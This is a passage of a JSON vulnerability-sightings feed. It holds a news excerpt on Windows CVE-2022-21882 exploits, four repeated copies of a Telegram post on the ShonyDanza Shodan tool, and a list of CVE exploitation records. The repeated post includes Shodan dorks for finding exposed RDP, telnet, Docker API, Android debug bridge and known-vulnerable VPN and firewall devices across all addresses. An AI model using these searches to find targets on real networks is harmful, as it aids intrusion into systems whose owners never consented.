attacks\n\n\u2014 b2ahex (@b2ahex) January 12, 2022\nThis week, multiple exploits were publicly released for\u00a0CVE-2022-21882 that allow anyone to gain SYSTEM privileges on vulnerable Windows 10 devices.\n\nAfter the exploit\u2019s release, Will Dormann, a vulnerability analyst for CERT/CC and Twitter\u2019s resident exploit tester, confirmed that the exploits works\u00a0and provides elevated privileges.\n\nBleepingComputer also tested the vulnerability and had no problem compiling the exploit and using it to open Notepad with SYSTEM privileges on Windows 10, as shown below. BleepingComputer could not get the exploit to work on Windows 11.\nhttps://www.bleepstatic.com/images/news/Microsoft/vulnerabilities/CVE-2022-21882/CVE-2022-21882-test.jpg \nBug found two years earlierThis same vulnerability was discovered two years ago\u00a0by Israeli security researcher and Piiano CEO Gil Dabah, who decided not to disclose the bug due to the reduced bug bounty rewards\u00a0by Microsoft.\n\nDabah is not alone in his frustrations over Microsoft\u2019s diminishing bug bounty rewards.\n\nIn[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-1732", "author": {"login": "automation"}}, {"uuid": "a43bd60f-fd31-4b9c-9f93-72f3266ef450", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:05.469900+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40562", "content": "Kali Linux Tutorials\nShonyDanza : A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nShonyDanza is a customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\nInstallation\n\ngit clone https://github.com/fierceoj/ShonyDanza.git\n\nRequirements\n\n* python3\n* shodan library\n\ncd ShonyDanza\npip3 install -r requirements.txt\n\nUsage\n\nEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\n\nconfig file for shonydanza searches\nREQUIRED\nmaximum number of results that will be returned per search\ndefault is 100\nSEARCH_LIMIT = 100\nREQUIRED\nIPs exceeding the honeyscore limit will not show up in IP results\nscale is 0.0 to 1.0\nadjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\nHONEYSCORE_LIMIT = 1.0\nREQUIRED \u2013 at least one key: value pair\nadd a shodan dork to the dictionary below to add it to your shonydanza stock searches men\nsee https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\ncheck into \u201cvuln:\u201d filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\nSTOCK_SEARCHES = {\n\u2018ANONYMOUS_FTP\u2019:\u2019ftp anonymous ok\u2019,\n\u2018RDP\u2019:\u2019port:3389 has_screenshot:true\u2019,\n\u2018OPEN_TELNET\u2019:\u2019port:23 console gateway -password\u2019,\n\u2018APACHE_DIR_LIST\u2019:\u2019http.title:\u201dIndex of /\u201d\u2018,\n\u2018SPRING_BOOT\u2019:\u2019http.favicon.hash:116323821\u2032,\n\u2018HP_PRINTERS\u2019:'\u201dSerial Number:\u201d \u201cBuilt:\u201d \u201cServer: HP HTTP\u201d\u2018,\n\u2018DOCKER_API\u2019:'\u201dDocker Containers:\u201d port:2375\u2032,\n\u2018ANDROID_ROOT_BRIDGE\u2019:'\u201dAndroid Debug Bridge\u201d \u201cDevice\u201d port:5555\u2032,\n\u2018MONGO_EXPRESS_GUI\u2019:'\u201dSet-Cookie: mongo-express=\u201d \u201c200 OK\u201d\u2018,\n\u2018CVE-2019-11510_PULSE_VPN\u2019:\u2019http.html:/dana-na/\u2019,\n\u2018CVE-2019-19781_CITRIX_NETSCALER\u2019:\u2019http.waf:\u201dCitrix NetScaler\u201d\u2018,\n\u2018CVE-2020-5902_F5_BIGIP\u2019:\u2019http.favicon.hash:-335242539 \u201c3992\u201d\u2018,\n\u2018CVE-2020-3452_CISCO_ASA_FTD\u2019:\u2019200 \u201cSet-Cookie: webvpn;\u201d\u2018\n}\nOPTIONAL\nIP or cidr range constraint for searches that return list of IP addresses\nuse comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)\nNET_RANGE = \u20180.0.0.0/0\u2019\n\nRun\n\ncd ../\npython3 shonydanza.py\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-5902", "author": {"login": "automation"}}, {"uuid": "9369d5a3-5597-4588-8ce0-3a7abe2edbe6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:05.400684+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40562", "content": "Kali Linux Tutorials\nShonyDanza : A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nShonyDanza is a customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\nInstallation\n\ngit clone https://github.com/fierceoj/ShonyDanza.git\n\nRequirements\n\n* python3\n* shodan library\n\ncd ShonyDanza\npip3 install -r requirements.txt\n\nUsage\n\nEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\n\nconfig file for shonydanza searches\nREQUIRED\nmaximum number of results that will be returned per search\ndefault is 100\nSEARCH_LIMIT = 100\nREQUIRED\nIPs exceeding the honeyscore limit will not show up in IP results\nscale is 0.0 to 1.0\nadjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\nHONEYSCORE_LIMIT = 1.0\nREQUIRED \u2013 at least one key: value pair\nadd a shodan dork to the dictionary below to add it to your shonydanza stock searches men\nsee https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\ncheck into \u201cvuln:\u201d filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\nSTOCK_SEARCHES = {\n\u2018ANONYMOUS_FTP\u2019:\u2019ftp anonymous ok\u2019,\n\u2018RDP\u2019:\u2019port:3389 has_screenshot:true\u2019,\n\u2018OPEN_TELNET\u2019:\u2019port:23 console gateway -password\u2019,\n\u2018APACHE_DIR_LIST\u2019:\u2019http.title:\u201dIndex of /\u201d\u2018,\n\u2018SPRING_BOOT\u2019:\u2019http.favicon.hash:116323821\u2032,\n\u2018HP_PRINTERS\u2019:'\u201dSerial Number:\u201d \u201cBuilt:\u201d \u201cServer: HP HTTP\u201d\u2018,\n\u2018DOCKER_API\u2019:'\u201dDocker Containers:\u201d port:2375\u2032,\n\u2018ANDROID_ROOT_BRIDGE\u2019:'\u201dAndroid Debug Bridge\u201d \u201cDevice\u201d port:5555\u2032,\n\u2018MONGO_EXPRESS_GUI\u2019:'\u201dSet-Cookie: mongo-express=\u201d \u201c200 OK\u201d\u2018,\n\u2018CVE-2019-11510_PULSE_VPN\u2019:\u2019http.html:/dana-na/\u2019,\n\u2018CVE-2019-19781_CITRIX_NETSCALER\u2019:\u2019http.waf:\u201dCitrix NetScaler\u201d\u2018,\n\u2018CVE-2020-5902_F5_BIGIP\u2019:\u2019http.favicon.hash:-335242539 \u201c3992\u201d\u2018,\n\u2018CVE-2020-3452_CISCO_ASA_FTD\u2019:\u2019200 \u201cSet-Cookie: webvpn;\u201d\u2018\n}\nOPTIONAL\nIP or cidr range constraint for searches that return list of IP addresses\nuse comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)\nNET_RANGE = \u20180.0.0.0/0\u2019\n\nRun\n\ncd ../\npython3 shonydanza.py\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2019-11510", "author": {"login": "automation"}}, {"uuid": "8cc89c77-812e-4511-92b5-e06fe9328a70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:05.315205+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40562", "content": "Kali Linux Tutorials\nShonyDanza : A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nShonyDanza is a customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\nInstallation\n\ngit clone https://github.com/fierceoj/ShonyDanza.git\n\nRequirements\n\n* python3\n* shodan library\n\ncd ShonyDanza\npip3 install -r requirements.txt\n\nUsage\n\nEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\n\nconfig file for shonydanza searches\nREQUIRED\nmaximum number of results that will be returned per search\ndefault is 100\nSEARCH_LIMIT = 100\nREQUIRED\nIPs exceeding the honeyscore limit will not show up in IP results\nscale is 0.0 to 1.0\nadjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\nHONEYSCORE_LIMIT = 1.0\nREQUIRED \u2013 at least one key: value pair\nadd a shodan dork to the dictionary below to add it to your shonydanza stock searches men\nsee https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\ncheck into \u201cvuln:\u201d filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\nSTOCK_SEARCHES = {\n\u2018ANONYMOUS_FTP\u2019:\u2019ftp anonymous ok\u2019,\n\u2018RDP\u2019:\u2019port:3389 has_screenshot:true\u2019,\n\u2018OPEN_TELNET\u2019:\u2019port:23 console gateway -password\u2019,\n\u2018APACHE_DIR_LIST\u2019:\u2019http.title:\u201dIndex of /\u201d\u2018,\n\u2018SPRING_BOOT\u2019:\u2019http.favicon.hash:116323821\u2032,\n\u2018HP_PRINTERS\u2019:'\u201dSerial Number:\u201d \u201cBuilt:\u201d \u201cServer: HP HTTP\u201d\u2018,\n\u2018DOCKER_API\u2019:'\u201dDocker Containers:\u201d port:2375\u2032,\n\u2018ANDROID_ROOT_BRIDGE\u2019:'\u201dAndroid Debug Bridge\u201d \u201cDevice\u201d port:5555\u2032,\n\u2018MONGO_EXPRESS_GUI\u2019:'\u201dSet-Cookie: mongo-express=\u201d \u201c200 OK\u201d\u2018,\n\u2018CVE-2019-11510_PULSE_VPN\u2019:\u2019http.html:/dana-na/\u2019,\n\u2018CVE-2019-19781_CITRIX_NETSCALER\u2019:\u2019http.waf:\u201dCitrix NetScaler\u201d\u2018,\n\u2018CVE-2020-5902_F5_BIGIP\u2019:\u2019http.favicon.hash:-335242539 \u201c3992\u201d\u2018,\n\u2018CVE-2020-3452_CISCO_ASA_FTD\u2019:\u2019200 \u201cSet-Cookie: webvpn;\u201d\u2018\n}\nOPTIONAL\nIP or cidr range constraint for searches that return list of IP addresses\nuse comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)\nNET_RANGE = \u20180.0.0.0/0\u2019\n\nRun\n\ncd ../\npython3 shonydanza.py\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2019-19781", "author": {"login": "automation"}}, {"uuid": "cb537daa-56c3-4597-9941-6ea0d6e244ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T11:00:05.243695+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40562", "content": "Kali Linux Tutorials\nShonyDanza : A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nShonyDanza is a customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\nInstallation\n\ngit clone https://github.com/fierceoj/ShonyDanza.git\n\nRequirements\n\n* python3\n* shodan library\n\ncd ShonyDanza\npip3 install -r requirements.txt\n\nUsage\n\nEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\n\nconfig file for shonydanza searches\nREQUIRED\nmaximum number of results that will be returned per search\ndefault is 100\nSEARCH_LIMIT = 100\nREQUIRED\nIPs exceeding the honeyscore limit will not show up in IP results\nscale is 0.0 to 1.0\nadjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\nHONEYSCORE_LIMIT = 1.0\nREQUIRED \u2013 at least one key: value pair\nadd a shodan dork to the dictionary below to add it to your shonydanza stock searches men\nsee https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\ncheck into \u201cvuln:\u201d filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\nSTOCK_SEARCHES = {\n\u2018ANONYMOUS_FTP\u2019:\u2019ftp anonymous ok\u2019,\n\u2018RDP\u2019:\u2019port:3389 has_screenshot:true\u2019,\n\u2018OPEN_TELNET\u2019:\u2019port:23 console gateway -password\u2019,\n\u2018APACHE_DIR_LIST\u2019:\u2019http.title:\u201dIndex of /\u201d\u2018,\n\u2018SPRING_BOOT\u2019:\u2019http.favicon.hash:116323821\u2032,\n\u2018HP_PRINTERS\u2019:'\u201dSerial Number:\u201d \u201cBuilt:\u201d \u201cServer: HP HTTP\u201d\u2018,\n\u2018DOCKER_API\u2019:'\u201dDocker Containers:\u201d port:2375\u2032,\n\u2018ANDROID_ROOT_BRIDGE\u2019:'\u201dAndroid Debug Bridge\u201d \u201cDevice\u201d port:5555\u2032,\n\u2018MONGO_EXPRESS_GUI\u2019:'\u201dSet-Cookie: mongo-express=\u201d \u201c200 OK\u201d\u2018,\n\u2018CVE-2019-11510_PULSE_VPN\u2019:\u2019http.html:/dana-na/\u2019,\n\u2018CVE-2019-19781_CITRIX_NETSCALER\u2019:\u2019http.waf:\u201dCitrix NetScaler\u201d\u2018,\n\u2018CVE-2020-5902_F5_BIGIP\u2019:\u2019http.favicon.hash:-335242539 \u201c3992\u201d\u2018,\n\u2018CVE-2020-3452_CISCO_ASA_FTD\u2019:\u2019200 \u201cSet-Cookie: webvpn;\u201d\u2018\n}\nOPTIONAL\nIP or cidr range constraint for searches that return list of IP addresses\nuse comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)\nNET_RANGE = \u20180.0.0.0/0\u2019\n\nRun\n\ncd ../\npython3 shonydanza.py\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-3452", "author": {"login": "automation"}}, {"uuid": "765b31cf-3258-4f80-a34f-5f6ce71553f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:55:28.996702+00:00", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/117223727341434987", "content": "A severe vulnerability was disclosed for Mikrotik RouterOS (CVE-2026-86060) https://vuldb.com/vuln/399368", "vulnerability": "CVE-2026-86060", "author": {"login": "automation"}}, {"uuid": "80b5cf48-93f1-4f50-8c5e-3eb5c07f3d84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:49:08.759357+00:00", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mutt25s4qu23", "content": "code-projects CMS 1.0\u306e/login.php\u306bSQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u8106\u5f31\u6027\u3002user_name\u5f15\u6570\u64cd\u4f5c\u3067\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u653b\u6483\u53ef\u80fd\u3002\nCVE-2026-86168 CVSS 7.3 | HIGH", "vulnerability": "CVE-2026-86168", "author": {"login": "automation"}}, {"uuid": "b7742cd1-afe2-400a-b6cb-60428581e917", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:47:55.034043+00:00", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mutsxxprnl2i", "content": "Tenda HG10 300001138\u306eformgponConf\u95a2\u6570\u306bOS\u30b3\u30de\u30f3\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u3002\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u306e\u60aa\u7528\u304c\u53ef\u80fd\u3002\nCVE-2026-86167 CVSS 9.9 | CRITICAL", "vulnerability": "CVE-2026-86167", "author": {"login": "automation"}}, {"uuid": "c888d30c-bd66-4c9d-a1fd-32221506ed3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:42:03.684918+00:00", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/117223674556794414", "content": "A new vulnerability with increased severity was disclosed for N-able N-central (CVE-2026-86206) https://vuldb.com/vuln/399362", "vulnerability": "CVE-2026-86206", "author": {"login": "automation"}}, {"uuid": "8883f5eb-86dd-47cd-93b2-3fc9470021b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:30:16.138279+00:00", "type": "seen", "source": "https://bsky.app/profile/0daynews.bsky.social/post/3mutryfbzw42i", "content": "Citrix NetScaler Auth Bypass Now Exploited in Wild https://0daynews.com/articles/2026-09-05-citrix-netscaler-cve-2026-19490-exploited?utm_source=bluesky&utm_medium=organic_social&utm_campaign=always_on&utm_content=hub-1072", "vulnerability": "cve-2026-19490", "author": {"login": "automation"}}, {"uuid": "a7acad2e-68ba-48d1-b1c4-b01ec83a751e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:12.480228+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-34133", "author": {"login": "automation"}}, {"uuid": "c903e7ed-c46c-47aa-9b9b-75f57fd6a64c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:12.425438+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-22478", "author": {"login": "automation"}}, {"uuid": "f3e79fb3-6af3-4bc5-a5b2-ee4b17d65443", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:12.376592+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-3836", "author": {"login": "automation"}}, {"uuid": "57d5c89e-d23d-4967-b0a6-71c250cc09d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:12.320064+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-26802", "author": {"login": "automation"}}, {"uuid": "c77db75d-4ab2-4f2d-b9b2-5013714296be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:12.268328+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2022-4984", "author": {"login": "automation"}}, {"uuid": "9ae7f950-a6ed-4c34-8835-6d06d1581606", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:12.214249+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-45038", "author": {"login": "automation"}}, {"uuid": "56c47866-ddad-467b-aac3-e4ba8a9a0d17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:12.165045+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-23489", "author": {"login": "automation"}}, {"uuid": "84267a08-46a0-48ae-8282-4e2b807a1dd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:12.109060+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-51409", "author": {"login": "automation"}}, {"uuid": "2bb39df4-53e2-4254-a7e8-c12311c0b915", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:12.067543+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-39796", "author": {"login": "automation"}}, {"uuid": "3c37d9f4-82e0-4ce4-ae3d-12d5d137f4c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:12.000650+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-1389", "author": {"login": "automation"}}, {"uuid": "c90da497-b61c-45e1-a6a3-5dcd90c68da6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:11.947852+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-46574", "author": {"login": "automation"}}, {"uuid": "a17be511-4ff0-45f1-aa2c-65acb2bba764", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:11.890607+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-35587", "author": {"login": "automation"}}, {"uuid": "1aa29a00-e8ae-4e57-acdd-c7a798a8904b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:10.108542+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2001-0537", "author": {"login": "automation"}}, {"uuid": "e5f155c9-3f75-4864-9f8b-a23f029f96fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:10.053421+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2025-34047", "author": {"login": "automation"}}, {"uuid": "6657c8e3-025e-4fae-a378-be568dd9d772", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:10.000850+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-47253", "author": {"login": "automation"}}, {"uuid": "28947791-a2c9-4aae-a4ab-630b3310bc4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:09.947709+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-36844", "author": {"login": "automation"}}, {"uuid": "14a3eeab-bb5b-42fa-b7d4-1c4f33ab9d2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:09.890927+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-25646", "author": {"login": "automation"}}, {"uuid": "97ee7a11-3c3b-41f7-8391-8f06ceeef847", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:09.834215+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-28432", "author": {"login": "automation"}}, {"uuid": "7fb8be34-9a3f-4b1f-a353-e227a9c075c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:09.734833+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2011-3600", "author": {"login": "automation"}}, {"uuid": "def98a3c-c54c-4838-91c5-7ff7bb4ff19d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:09.665249+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2024-36401", "author": {"login": "automation"}}, {"uuid": "f2c8cbeb-0da2-4d93-918e-0bc59a459ad9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:09.573389+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2022-26134", "author": {"login": "automation"}}, {"uuid": "9992c351-33e5-49b0-b9a3-04d84e1557a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:09.517938+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-22518", "author": {"login": "automation"}}, {"uuid": "5b77f984-8110-4632-b702-e4a708fdc947", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:09.430243+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2017-18368", "author": {"login": "automation"}}, {"uuid": "2db64db0-058c-44db-8997-23d3c685dd68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:09.382082+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-24931", "author": {"login": "automation"}}, {"uuid": "9c997658-dd4e-4db9-83fb-41833dc486a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:09.326052+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2020-35131", "author": {"login": "automation"}}, {"uuid": "2c7b15b9-4e2d-466f-9cde-38d6e9b9aa55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:09.275521+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-36934", "author": {"login": "automation"}}, {"uuid": "4c7e7031-611f-4fa8-b000-0320748d0442", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:09.220987+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2024-8963", "author": {"login": "automation"}}, {"uuid": "a24dd42b-82cf-49ea-b5d1-18b320b0835b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:09.133400+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-32030", "author": {"login": "automation"}}, {"uuid": "c26d3095-e505-4924-bec1-c3a05f2acb14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:09.061968+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-29441", "author": {"login": "automation"}}, {"uuid": 